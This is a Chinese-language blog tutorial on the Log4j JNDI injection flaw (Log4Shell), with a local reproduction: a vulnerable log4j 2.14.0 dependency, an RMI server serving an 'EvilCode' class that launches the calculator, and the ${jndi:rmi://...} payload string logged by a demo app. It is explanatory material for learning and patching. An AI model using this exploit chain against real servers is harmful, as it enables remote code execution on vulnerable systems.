log4j漏洞原理以及漏洞复现


前言:

十几天前,log4j被爆出“史诗级”漏洞。其危害非常大,影响非常广。该漏洞非常容易利用,可以执行任意代码。这个漏洞的影响可谓是重量级的。

漏洞描述:

由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。简单点说,就是可以通过输入一些具有特殊意义的字符来攻击服务器。

如果入侵者在前端页面上输入了:${jndi:rmi://127.0.0.1:8080/evil} 这串字符, 然后后台用log4j记录了这串字符, log4j会自动使用jndi调用这个地址上的rmi内容。如果这个rmi的内容是删除数据库,重启服务器这种恶意程序,被攻击之后还是趁早跑路吧。(开个玩笑)

关于JNDI:

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA,摘自百度百科。

关于RMI:

RMI(remote method invocation)即远程方法调用,是允许运行在一个java虚拟机上的对象调用运行在另外一个java虚拟机上的对象的方法,JAVA RMI实现JAVA程序之间跨越JVM的远程通信。通过RMI可以让调用远程JVM上对象方法,仿佛调用本地JVM上对象方法一样简单、快捷。

漏洞复现:

首先,可以先创建一个普通的maven项目, 在pom中引入log4j2.14.0

<dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>
    </dependencies>

再创建一个用于开启RMI服务端的java文件

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, AlreadyBoundException {
        LocateRegistry.createRegistry(8080);
        final Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
        Reference ref = new Reference("EvilCode", "EvilCode", null);
        final ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("evil", referenceWrapper);
        System.out.println("启动成功");
    }
}

再创建EvilCode恶意程序攻击类, 这里由于是自己的电脑, 还是用经典的calc计算器举粟

public class EvilCode {
    static {
        System.err.println("打开计算器");
        try {
            Runtime.getRuntime().exec("calc");
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

最后创建一个启动类, 用于模拟我们的服务器程序, 使用log4j打印日志

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
    static Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        //用input局部变量来模拟入侵者输入的内容
        String input = "${jndi:rmi://127.0.0.1:8080/evil}";
        //这里直接用log4j输入
        logger.error(input);
    }
}

先启动RMIServer, 再启动Main, 可以看到, 计算器被弹出了:

 

 

可以升级log4j最新版本或者更新jdk较高版本来解决这个问题


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM